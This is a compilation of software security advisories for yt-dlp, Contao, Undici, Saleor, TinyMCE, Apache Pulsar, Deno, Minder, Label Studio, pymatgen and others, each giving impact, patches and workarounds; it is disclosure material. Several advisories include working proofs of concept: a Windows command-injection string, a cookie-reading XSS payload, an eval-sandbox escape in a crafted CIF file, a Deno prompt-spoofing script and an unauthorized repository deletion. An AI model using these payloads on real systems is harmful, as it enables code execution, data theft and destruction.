### Patches
yt-dlp version 2024.04.09 fixes this issue by properly escaping `%`. It replaces them with `%%cd:~,%`, a variable that expands to nothing, leaving only the leading percent.

### Workarounds
It is recommended to upgrade yt-dlp to version 2024.04.09 as soon as possible. Also, always be careful when using `--exec`, because while this specific vulnerability has been patched, using unvalidated input in shell commands is inherently dangerous.

For Windows users who are not able to upgrade:
- Avoid using any output template expansion in `--exec` other than `{}` (filepath).
- If expansion in `--exec` is needed, verify the fields you are using do not contain `%`, `"`, `|` or `&`.
- Instead of using `--exec`, write the info json and load the fields from it instead.

### Details
When escaping variables, the following code is used for Windows.
[`yt_dlp/compat/__init__.py` line 31-33](https://github.com/yt-dlp/yt-dlp/blob/8e6e3651727b0b85764857fc6329fe5e0a3f00de/yt_dlp/compat/__init__.py#L31-L33)
```python
    def compat_shlex_quote(s):
        import re
        return s if re.match(r'^[-_\w./]+$', s) else s.replace('"', '""').join('""')
```
It replaces `"` with `""` to balance out the quotes and keep quoting intact if non-allowed characters are included. However, the `%CMDCMDLINE%` variable can be used to generate a quote using `%CMDCMDLINE:~-1%`; since the value of `%CMDCMDLINE%` is the commandline with which `cmd.exe` was called, and it is always called with the command surrounded by quotes, `%CMDCMDLINE:~-1%` expands to `"`. After the quotes have been unbalanced, special characters are no longer quoted and commands can be executed:
```cmd
%CMDCMDLINE:~-1%&calc.exe
```

### References
- https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-hjq6-52gw-2g7p
- https://nvd.nist.gov/vuln/detail/CVE-2024-22423
- https://github.com/yt-dlp/yt-dlp/releases/tag/2024.04.09
- https://github.com/yt-dlp/yt-dlp/commit/ff07792676f404ffff6ee61b5638c9dc1a33a37a


Contao: Possible cookie sharing with external domains while checking protected pages for broken links

[Severity: HIGH]

### Impact

If the crawler is set to crawl protected pages, it sends the cookie header to externals URLs.

### Patches

Update to Contao 4.13.40 or 5.3.4.

### Workarounds

Disable crawling protected pages.

### References

https://contao.org/en/security-advisories/session-cookie-disclosure-in-the-crawler

### For more information

If you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).


Undici's fetch with integrity option is too lax when algorithm is specified but hash value is in incorrect

[Severity: LOW]

### Impact

If an attacker can alter the `integrity` option passed to `fetch()`, they can let `fetch()` accept requests as valid even if they have been tampered.

### Patches

Fixed in https://github.com/nodejs/undici/commit/d542b8cd39ec1ba303f038ea26098c3f355974f3.
Fixes has been released in v5.28.4 and v6.11.1.

### Workarounds

Ensure that `integrity` cannot be tampered with.

### References

https://hackerone.com/reports/2377760


Undici's Proxy-Authorization header not cleared on cross-origin redirect for dispatch, request, stream, pipeline

[Severity: LOW]

### Impact

Undici cleared Authorization and Proxy-Authorization headers for `fetch()`, but did not clear them for `undici.request()`.

### Patches

This has been patched in https://github.com/nodejs/undici/commit/6805746680d27a5369d7fb67bc05f95a28247d75.
Fixes has been released in v5.28.4 and v6.11.1.

### Workarounds

use `fetch()` or disable `maxRedirections`.

### References

Linzi Shang reported this.

* https://hackerone.com/reports/2408074
* https://github.com/nodejs/undici/security/advisories/GHSA-3787-6prv-h9w3


In Astro-Shield, setting a correct `integrity` attribute to injected code allows to bypass the allow-lists

[Severity: HIGH]

### Impact

Versions from 1.2.0 to 1.3.1 of Astro-Shield allow to bypass the allow-lists for cross-origin resources by introducing valid `integrity` attributes to the injected code. This implies that the injected SRI hash would be added to the generated CSP header, which would lead the browser to believe that the injected resource is legit.

To exploit this vulnerability, the attacker needs to first inject code into the rendered pages by exploiting other not-related potential vulnerabilities.

### Patches

Version [1.3.2](https://github.com/kindspells/astro-shield/releases/tag/1.3.2) provides a patch.

### Workarounds
- To not use the middleware functionality of Astro-Shield.
- To use the middleware functionality of Astro-Shield ONLY for content that cannot be controlled in any way by external users.

### References
_Are there any links users can visit to find out more?_


Content-Security-Policy header generation in middleware could be compromised by malicious injections

[Severity: HIGH]

### Impact

When the following conditions are met:
- Automated CSP headers generation for SSR content is enabled
- The web application serves content that can be partially controlled by external users

Then it is possible that the CSP headers generation feature might be "allow-listing" malicious injected resources like inlined JS, or references to external malicious scripts.

### Patches
Available in version 1.3.0 .

### Workarounds
- Do not enable CSP headers generation.
- Use it only for dynamically generated content that cannot be controlled by external users in any way.

### References
_Are there any links users can visit to find out more?_


Saleor: Customers' addresses leak when using Warehouse as a `Pickup: Local stock only` delivery method

[Severity: MEDIUM]

### Summary
Using `Pickup: Local stock only` as a click-and-collect points could cause a leak of customer addresses

### Details
When using `Pickup: Local stock only` click-and-collect as a delivery method in specific conditions the customer could overwrite the warehouse address with its own, which exposes its address as click-and-collect address.

### Impact
The vulnerability can cause the leak of customer's address when using click-and-collect delivery option marked as `Local stock only`. It has impact on all orders with click-and-collect delivery method marked as `Pickup:Local stock only`
The affected versions: `>=3.14.56 <3.14.61`, `>=3.15.31 <3.15.37`, `>=3.16.27 <3.16.34`, `>=3.17.25 <3.17.32`, `>=3.18.19 <3.18.28`, `>=3.19.5 <3.19.15`
This issue has been patched in versions: `3.14.61`, `3.15.37`, `3.16.34`, `3.17.32`, `3.18.28`, `3.19.15`

### Workaround
We strongly recommend upgrading to the latest versions, in case of inability to upgrade straight away, possible workarounds are:
- turn off click-and-collect delivery method on warehouse view when `Pickup` option is set to `Local stock only`.
- cherry-pick the changes from PRs: https://github.com/saleor/saleor/pull/15694 & https://github.com/saleor/saleor/pull/15697

### References
- Commits introducing the issue (https://github.com/saleor/saleor/commit/22a1aa3ef0bc54156405f69146788016a7f3f761 main, https://github.com/saleor/saleor/commit/997f7ea4f576543ec88679a86bfe1b14f7f2ff26 3.14, https://github.com/saleor/saleor/commit/ef003c76a304c89ddb2dc65b7f1d5b3b2ba1c640 3.15, https://github.com/saleor/saleor/commit/39abb0f4e4fe6503f81bfbb871227e4f70bcdd5c 3.16, https://github.com/saleor/saleor/commit/b7cecda8b603f7472790150bb4508c7b655946d4 3.17, https://github.com/saleor/saleor/commit/dccc2c842b4e2e09470929c80f07dc137e439182 3.18, https://github.com/saleor/saleor/commit/d8ba545c16ad3153febc5b5be8fd2ef75da9fc95 3.19)
- https://github.com/saleor/saleor/commit/47cedfd7d6524d79bdb04708edcdbb235874de6b (main branch)
https://github.com/saleor/saleor/releases/tag/3.14.60
https://github.com/saleor/saleor/releases/tag/3.14.61
https://github.com/saleor/saleor/releases/tag/3.15.36
https://github.com/saleor/saleor/releases/tag/3.15.37
https://github.com/saleor/saleor/releases/tag/3.16.33
https://github.com/saleor/saleor/releases/tag/3.16.34
https://github.com/saleor/saleor/releases/tag/3.17.31
https://github.com/saleor/saleor/releases/tag/3.17.32
https://github.com/saleor/saleor/releases/tag/3.18.27
https://github.com/saleor/saleor/releases/tag/3.18.28
https://github.com/saleor/saleor/releases/tag/3.19.14
https://github.com/saleor/saleor/releases/tag/3.19.15


TinyMCE Cross-Site Scripting (XSS) vulnerability in handling external SVG files through Object or Embed elements

[Severity: MEDIUM]

### Impact
A [cross-site scripting (XSS)](https://owasp.org/www-community/attacks/xss/) vulnerability was discovered in TinyMCE’s content loading and content inserting code. A SVG image could be loaded though an `object` or `embed` element and that image could potentially contain a XSS payload.

### Fix
TinyMCE 6.8.1 introduced a new `convert_unsafe_embeds` option to automatically convert `object` and `embed` elements respective of their `type` attribute.  From TinyMCE 7.0.0 onwards, the `convert_unsafe_embeds` option is enabled by default.

### Workarounds
If you are using TinyMCE 6.8.1 or higher, set `convert_unsafe_embeds` to true. For any earlier versions, a custom NodeFilter is recommended to remove or modify any `object` or `embed` elements. This can be added using the `editor.parser.addNodeFilter` and `editor.serializer.addNodeFilter` APIs.

### Acknowledgements
Tiny Technologies would like to thank Toni Huttunen of [Fraktal Oy](https://www.fraktal.fi/) for discovering this vulnerability.

### References
- [TinyMCE 6.8.1](https://www.tiny.cloud/docs/tinymce/6/6.8.1-release-notes/#new-convert_unsafe_embeds-option-that-controls-whether-object-and-embed-elements-will-be-converted-to-more-restrictive-alternatives-namely-img-for-image-mime-types-video-for-video-mime-types-audio-audio-mime-types-or-iframe-for-other-or-unspecified-mime-types)
- [TinyMCE 7.0.0](https://www.tiny.cloud/docs/tinymce/7/7.0-release-notes/#convert_unsafe_embeds-editor-option-is-now-defaulted-to-true)


Apache Commons Configuration: StackOverflowError adding property in AbstractListDelimiterHandler.flattenIterator()

[Severity: MEDIUM]

This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'.
Users are recommended to upgrade to version 2.10.1, which fixes the issue.


Apache Commons Configuration: StackOverflowError calling ListDelimiterHandler.flatten(Object, int) with a cyclical object tree

[Severity: MEDIUM]

This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree.
Users are recommended to upgrade to version 2.10.1, which fixes the issue.


GoogleOAuthenticator.hosted_domain incorrectly verifies membership of an Google organization/workspace

[Severity: HIGH]

## Summary and impact

[`GoogleOAuthenticator.hosted_domain`] is used to restrict what Google accounts can be authorized to access a JupyterHub. The restriction _is intended_ to ensure Google accounts are part of one or more Google organizations/workspaces verified to control specified domain(s).

The vulnerability is that the actual restriction has been to Google accounts with emails ending with the domain. Such accounts could have been created by anyone which at one time was able to read an email associated with the domain. This was described by Dylan Ayrey (@dxa4481) in this [blog post] from 15th December 2023.

## Remediation

Upgrade to `oauthenticator>=16.3.0` or restrict who can login another way, such as [`allowed_users`] or [`allowed_google_groups`].

[`GoogleOAuthenticator.hosted_domain`]: https://oauthenticator.readthedocs.io/en/latest/reference/api/gen/oauthenticator.google.html#oauthenticator.google.GoogleOAuthenticator.hosted_domain
[`allowed_users`]: https://oauthenticator.readthedocs.io/en/latest/reference/api/gen/oauthenticator.google.html#oauthenticator.google.GoogleOAuthenticator.allowed_users
[`allowed_google_groups`]: https://oauthenticator.readthedocs.io/en/latest/reference/api/gen/oauthenticator.google.html#oauthenticator.google.GoogleOAuthenticator.allowed_google_groups
[blog post]: https://trufflesecurity.com/blog/google-oauth-is-broken-sort-of/


Denial of Service (DoS) Vulnerability Due to Unsafe Array Modification in Multi-threaded Environment

[Severity: HIGH]

### Summary
An attacker can exploit a critical flaw in the application to initiate a Denial of Service (DoS) attack, rendering the application inoperable and affecting all users. The issue arises from unsafe manipulation of an array in a multi-threaded environment.

### Details
The vulnerability is rooted in the application's code, where an array is being modified while it is being iterated over. This is a classic programming error but becomes critically unsafe when executed in a multi-threaded environment. When two threads interact with the same array simultaneously, the application crashes.

The core issue is located in [expireOldFailedAttempts](https://github.com/argoproj/argo-cd/blob/54601c8fd30b86a4c4b7eb449956264372c8bde0/util/session/sessionmanager.go#L302-L311) function:
```go
func expireOldFailedAttempts(maxAge time.Duration, failures *map[string]LoginAttempts) int {

expiredCount := 0
for key, attempt := range *failures {

if time.Since(attempt.LastFailed) > maxAge*time.Second { expiredCount += 1
delete(*failures, key) // Vulnerable code

} }

return expiredCount }
```

The function modifies the array while iterating it which means the code will cause an error and crash the application pod, inspecting the logs just before the crash we can confirm:
```go
goroutine 2032 [running]: github.com/argoproj/argo-cd/v2/util/session.expireOldFailedAttempts(0x12c, 0xc000adecd8)

/go/src/github.com/argoproj/argo-cd/util/session/sessionmanager.go:304 +0x7c github.com/argoproj/argo-cd/v2/util/session.(*SessionManager).updateFailureCount(0xc00035 af50, {0xc001b1f578, 0x11}, 0x1)

/go/src/github.com/argoproj/argo-cd/util/session/sessionmanager.go:320 +0x7f github.com/argoproj/argo-cd/v2/util/session.(*SessionManager).VerifyUsernamePassword(0xc 00035af50, {0xc001b1f578, 0x11}, {0xc000455148, 0x8})
```
### PoC
To reproduce the vulnerability, you can use the following steps:

1. Launch the application.
2. Trigger the code path that results in the `expireOldFailedAttempts()` function being called in multiple threads.
3. In the attached PoC script we are restarting the server in a while loop, causing the application to be unresponsive at all.

### Impact
This is a Denial of Service (DoS) vulnerability. Any attacker can crash the application continuously, making it impossible for legitimate users to access the service. The issue is exacerbated because it does not require authentication, widening the pool of potential attackers.


Apache Tomcat Denial of Service due to improper input validation vulnerability for HTTP/2 requests

[Severity: MEDIUM]

Denial of Service due to improper input validation vulnerability for HTTP/2 requests in Apache Tomcat. When processing an HTTP/2 request, if the request exceeded any of the configured limits for headers, the associated HTTP/2 stream was not reset until after all of the headers had been processed.This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M16, from 10.1.0-M1 through 10.1.18, from 9.0.0-M1 through 9.0.85, from 8.5.0 through 8.5.98.

Users are recommended to upgrade to version 11.0.0-M17, 10.1.19, 9.0.86 or 8.5.99 which fix the issue.


Apache Pulsar: Pulsar Functions Worker Allows Unauthorized File Access and Unauthorized HTTP/HTTPS Proxying

[Severity: HIGH]

The Pulsar Functions Worker includes a capability that permits authenticated users to create functions where the function's implementation is referenced by a URL. The supported URL schemes include "file", "http", and "https". When a function is created using this method, the Functions Worker will retrieve the implementation from the URL provided by the user. However, this feature introduces a vulnerability that can be exploited by an attacker to gain unauthorized access to any file that the Pulsar Functions Worker process has permissions to read. This includes reading the process environment which potentially includes sensitive information, such as secrets. Furthermore, an attacker could leverage this vulnerability to use the Pulsar Functions Worker as a proxy to access the content of remote HTTP and HTTPS endpoint URLs. This could also be used to carry out denial of service attacks.
This vulnerability also applies to the Pulsar Broker when it is configured with "functionsWorkerEnabled=true".

This issue affects Apache Pulsar versions from 2.4.0 to 2.10.5, from 2.11.0 to 2.11.3, from 3.0.0 to 3.0.2, from 3.1.0 to 3.1.2, and 3.2.0.

2.10 Pulsar Function Worker users should upgrade to at least 2.10.6.
2.11 Pulsar Function Worker users should upgrade to at least 2.11.4.
3.0 Pulsar Function Worker users should upgrade to at least 3.0.3.
3.1 Pulsar Function Worker users should upgrade to at least 3.1.3.
3.2 Pulsar Function Worker users should upgrade to at least 3.2.1.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.

The updated versions of Pulsar Functions Worker will, by default, impose restrictions on the creation of functions using URLs. For users who rely on this functionality, the Function Worker configuration provides two configuration keys: "additionalEnabledConnectorUrlPatterns" and "additionalEnabledFunctionsUrlPatterns". These keys allow users to specify a set of URL patterns that are permitted, enabling the creation of functions using URLs that match the defined patterns. This approach ensures that the feature remains available to those who require it, while limiting the potential for unauthorized access and exploitation.


Apache Pulsar: Pulsar Functions Worker's Archive Extraction Vulnerability Allows Unauthorized File Modification

[Severity: CRITICAL]

In Pulsar Functions Worker, authenticated users can upload functions in jar or nar files. These files, essentially zip files, are extracted by the Functions Worker. However, if a malicious file is uploaded, it could exploit a directory traversal vulnerability. This occurs when the filenames in the zip files, which aren't properly validated, contain special elements like "..", altering the directory path. This could allow an attacker to create or modify files outside of the designated extraction directory, potentially influencing system behavior. This vulnerability also applies to the Pulsar Broker when it is configured with "functionsWorkerEnabled=true".

This issue affects Apache Pulsar versions from 2.4.0 to 2.10.5, from 2.11.0 to 2.11.3, from 3.0.0 to 3.0.2, from 3.1.0 to 3.1.2, and 3.2.0.

2.10 Pulsar Function Worker users should upgrade to at least 2.10.6.
2.11 Pulsar Function Worker users should upgrade to at least 2.11.4.
3.0 Pulsar Function Worker users should upgrade to at least 3.0.3.
3.1 Pulsar Function Worker users should upgrade to at least 3.1.3.
3.2 Pulsar Function Worker users should upgrade to at least 3.2.1.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.


Cross-site Scripting (XSS) possible with maliciously formed HTML attribute names and values in Phlex

[Severity: HIGH]

There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data. This was due to improper case-sensitivity in the code that was meant to prevent these attacks.

### Impact

If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.

```ruby
a(href: user_profile) { "Profile" }
```

If you splat user-provided attributes when rendering any HTML or SVG tag, malicious event attributes could be included in the output, executing JavaScript when the events are triggered by another user.

```ruby
h1(**JSON.parse(user_attributes))
```

### Patches
Patches are [available on RubyGems](https://rubygems.org/gems/phlex) for all `1.x` minor versions. The patched versions are:

- [1.9.1](https://rubygems.org/gems/phlex/versions/1.9.1)
- [1.8.2](https://rubygems.org/gems/phlex/versions/1.8.2)
- [1.7.1](https://rubygems.org/gems/phlex/versions/1.7.1)
- [1.6.2](https://rubygems.org/gems/phlex/versions/1.6.2)
- [1.5.2](https://rubygems.org/gems/phlex/versions/1.5.2)
- [1.4.1](https://rubygems.org/gems/phlex/versions/1.4.1)
- [1.3.3](https://rubygems.org/gems/phlex/versions/1.3.3)
- [1.2.2](https://rubygems.org/gems/phlex/versions/1.2.2)
- [1.1.1](https://rubygems.org/gems/phlex/versions/1.1.1)
- [1.0.1](https://rubygems.org/gems/phlex/versions/1.0.1)

If you are on `main`, it has been patched since [`aa50c60`](https://github.com/phlex-ruby/phlex/commit/aa50c604cdee1d0ce7ef068a4c66cbd5d43f96a1)

### Workarounds
Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.

### References

In addition to upgrading to a patched version of Phlex, we strongly recommend configuring a Content Security Policy header that does not allow `unsafe-inline`. Here’s how you can configure a Content Security Policy header in Rails. https://guides.rubyonrails.org/security.html#content-security-policy-header


RPyC's missing security check results in code execution when using numpy.array on the server-side.

[Severity: HIGH]

An issue in Open Source: RPyC v.4.00 thru v.5.3.1 allows a remote attacker to execute arbitrary code via a crafted script to the `__array__` attribute component. This vulnerability was introduced in [9f45f826](https://github.com/tomerfiliba-org/rpyc/commit/9f45f8269d4106905db61d82cd529cacdb178911).

### Attack Vector
RPyC services that rely on the `__array__` attribute used by numpy are impacted. When the server-side exposes a method that calls the attribute named `__array__` for a a client provided netref (e.g., `np.array(client_netref)`), a remote attacker can craft a class which results in remote code execution

### Impact
Assuming the system exposes a method that calls the attribute `__array__`, an attacker can execute code using the vulnerable component.

### Patches
The fix is available in RPyC 6.0.0. The major version change is because some users may need to set `allow_pickle` to `True` when migrating to RPyC 6.

### Workarounds
While the recommend fix is to upgrade to RPyC 6.0.0, the workaround is to [apply bba1d356 as patch.](https://github.com/tomerfiliba-org/rpyc/commit/bba1d3562e6f9f1256ec64048cc23001c0bb7516)

### Affected Component
[The affected component](https://github.com/tomerfiliba-org/rpyc/blob/5.3.1/rpyc/core/netref.py#L252-L255) is the `__array__` method constructed for `NetrefClass`.

### References
- [Original disclosure](https://gist.github.com/renbou/957f70d27470982994f12a1d70153d09) by [renbou (Artem Mikheev)](https://gist.github.com/renbou)
- [CVE-2024-27758](https://nvd.nist.gov/vuln/detail/CVE-2024-27758)


Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping

[Severity: HIGH]

### Summary
A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents.

### Details
In [the patch for CVE-2023-28446](https://github.com/denoland/deno/commit/78d430103a8f6931154ddbbe19d36f3b8630286d), Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences.

For example, requesting the read permission with `/tmp/hello\u001b[/../../etc/hosts` as a path will display the `/tmp/hellotc/hosts` in the permission prompt, but the actual permission given to the program is `/tmp/hello\u001b[/../../etc/hosts`, which is `/etc/hosts` after the normalization.

This difference allows a malicious Deno program to spoof the contents of the permission prompt.

### PoC
Run the following JavaScript and observe that `/tmp/hellotc/hosts` is displayed in the permission prompt instead of `/etc/hosts`, although Deno gives access to `/etc/hosts`.
``` javascript
const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" };
await Deno.permissions.request(permission);
console.log(await Deno.readTextFile("/etc/hosts"));
```

#### Expected prompt
```
┌ ⚠  Deno requests read access to "/etc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >
```

#### Actual prompt
```
┌ ⚠  Deno requests read access to "/tmp/hellotc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >

```

### Impact
Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.


`GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user

[Severity: HIGH]

### Summary
A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have.

### Details

https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23
https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278

The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.

`DeleteRepositoryByName` uses the same query and I have been able to delete another user's repo using this technique.

The `GetArtifactByName` endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.

### PoC

Setup:
1. Fresh provider/project on the production minder instance which is owned by me.
2. A repo registered by another user (in this case, Ozz)

```
# show my identity
$ minder auth whoami
No config file present, using default values.

 Here are your details:

+----------------------------------------------------+----------------------------------------------------+
|                        KEY                         |                       VALUE                        |
+----------------------------------------------------+----------------------------------------------------+
| Subject                                            | c93cc12e-999d-49f4-9ee3-593fdfb39204               |
+----------------------------------------------------+----------------------------------------------------+
| Created At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Updated At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Minder Server                                      | api.stacklok.com:443                               |
+----------------------------------------------------+----------------------------------------------------+
| Project                                            | dmjb /                                             |
|                                                    | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab               |
+----------------------------------------------------+----------------------------------------------------+

# show that I have no repos registered
$ minder repo list
No config file present, using default values.
+----+---------+----------+-------------+-------+------+
| ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME |
+----+---------+----------+-------------+-------+------+

# show details on one of Ozz's repos
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
{
  "id":  "a7e82080-9b6c-41f3-bc08-8e9442f8b2d2",
  "context":  {
    "provider":  "github",
    "project":  "b513f7f0-26dc-42e6-81a0-577df5489e62"
  },
  "owner":  "JAORMX",
  "name":  "auditevent",
  "repoId":  "605597568",
  "hookUrl":  "https://api.github.com/repos/JAORMX/auditevent/hooks/464564107",
  "deployUrl":  "https://api.github.com/repos/JAORMX/auditevent/deployments",
  "cloneUrl":  "https://github.com/JAORMX/auditevent.git",
  "isFork":  true,
  "createdAt":  "2024-03-04T13:27:54.019356Z",
  "updatedAt":  "2024-03-04T13:27:54.019356Z",
  "defaultBranch":  "main"
}

# delete Ozz's repo
$ minder repo delete -n JAORMX/auditevent
No config file present, using default values.
Successfully deleted repo with name: JAORMX/auditevent

# Ozz's repo no longer exists
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
Message: Error getting repo by name
Details: NotFound means some requested entity (e.g., file or directory) was
not found.
```

### Impact

Any user and project in a multi-tenant Minder instance.


Reading specially crafted serializable objects from an untrusted source may cause an infinite loop and denial of service

[Severity: HIGH]

Any program on the JVM may read serialized objects via [java.io.ObjectInputStream.readObject()](https://docs.oracle.com/javase/8/docs/api/java/io/ObjectInputStream.html#readObject--). Reading serialized objects from an untrusted source is **inherently unsafe** (this affects any program running on any version of the JVM) and is a prerequisite for this vulnerability.

Clojure classes that represent infinite seqs (Cycle, infinite Repeat, and Iterate) do not define hashCode() and use the parent ASeq.hashCode(), which walks the seq to compute the hash, yielding an infinite loop. Classes like java.util.HashMap call hashCode() on keys during deserialization of a serialized map.

The exploit requires:

1. Crafting a serialized HashMap object with an infinite seq object as a key.
2. Sending that to a program that reads serialized objects via ObjectInputStream.readObject().

This will cause the program to enter an infinite loop on the reading thread and thus a denial of service (DoS).

The affected Clojure classes (Cycle, Repeat, Iterate) exist in Clojure 1.7.0-1.11.1, 1.12.0-alpha1-1.12.0-alpha8.


es5-ext vulnerable to Regular Expression Denial of Service in `function#copy` and `function#toStringTokens`

[Severity: LOW]

### Impact

Passing functions with very long names or complex default argument names into `function#copy` or`function#toStringTokens` may put script to stall

### Patches
Fixed with https://github.com/medikoo/es5-ext/commit/3551cdd7b2db08b1632841f819d008757d28e8e2 and https://github.com/medikoo/es5-ext/commit/a52e95736690ad1d465ebcd9791d54570e294602
Published with v0.10.63

### Workarounds
No real workaround aside of refraining from using above utilities.

### References
https://github.com/medikoo/es5-ext/issues/201


Apache DolphinScheduler vulnerable to arbitrary JavaScript execution as root for authenticated users

[Severity: HIGH]

Improper Input Validation vulnerability in Apache DolphinScheduler. An authenticated user can cause arbitrary, unsandboxed JavaScript to be executed on the server.

This issue is a legacy of CVE-2023-49299. We didn't fix it completely in CVE-2023-49299, and we added one more patch to fix it.

This issue affects Apache DolphinScheduler: until 3.2.1.

Users are recommended to upgrade to version 3.2.1, which fixes the issue.


Label Studio vulnerable to Cross-site Scripting if `<Choices>` or `<Labels>` are used in labeling config

[Severity: MEDIUM]

### Summary
On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a [`Choices`](https://labelstud.io/tags/choices) or [`Labels`](https://labelstud.io/tags/labels) tag, resulting in an XSS vulnerability.

### Details
Need permission to use the "data import" function. This was reproduced on Label Studio 1.10.1.

### PoC

1. Create a project.
![Create a project](https://github.com/HumanSignal/label-studio/assets/3943358/9b1536ad-feac-4238-a1bd-ca9b1b798673)

2. Upload a file containing the payload using the "Upload Files" function.
![2  Upload a file containing the payload using the Upload Files function](https://github.com/HumanSignal/label-studio/assets/3943358/26bb7af1-1cd2-408f-9adf-61e31a5b7328)
![3  complete](https://github.com/HumanSignal/label-studio/assets/3943358/f2f62774-1fa6-4456-9e6f-8fa1ca0a2d2e)

The following are the contents of the files used in the PoC
```
{
  "data": {
    "prompt": "labelstudio universe image",
    "images": [
      {
        "value": "id123#0",
        "style": "margin: 5px",
        "html": "<img width='400' src='https://labelstud.io/_astro/images-tab.64279c16_ZaBSvC.avif' onload=alert(document.cookie)>"
      }
    ]
  }
}
```

3. Select the text-to-image generation labeling template of Ranking and scoring
![3  Select the text-to-image generation labelling template for Ranking and scoring](https://github.com/HumanSignal/label-studio/assets/3943358/f227f49c-a718-4738-bc2a-807da4f97155)
![5  save](https://github.com/HumanSignal/label-studio/assets/3943358/9b529f8a-8e99-4bb0-bdf6-bb7a95c9b75d)

4. Select a task
![4  Select a task](https://github.com/HumanSignal/label-studio/assets/3943358/71856b7a-2b1f-44ea-99ab-fc48bc20caa7)

5. Check that the script is running
![5  Check that the script is running](https://github.com/HumanSignal/label-studio/assets/3943358/e396ae7b-a591-4db7-afe9-5bab30b48cb9)

### Impact
Malicious scripts can be injected into the code, and when linked with vulnerabilities such as CSRF, it can cause even greater damage. In particular, It can become a source of further attacks, especially when linked to social engineering.


cryptography NULL pointer dereference with pkcs12.serialize_key_and_certificates when called with a non-matching certificate and private key and an hmac_hash override

[Severity: HIGH]

If `pkcs12.serialize_key_and_certificates` is called with both:

1. A certificate whose public key did not match the provided private key
2. An `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`

Then a NULL pointer dereference would occur, crashing the Python process.

This has been resolved, and now a `ValueError` is properly raised.

Patched in https://github.com/pyca/cryptography/pull/10423


pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

[Severity: CRITICAL]

### Summary
A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

### Details
The cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.

#### Vulnerable code

```py
basis_change = [
    re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
    for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
```

The use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.

### PoC

The vulnerability can be exploited as follows:

Create a file `vuln.cif` with the following contents:

```
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

Then, parse the cif file with the following code:
```py
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
```

### Credits

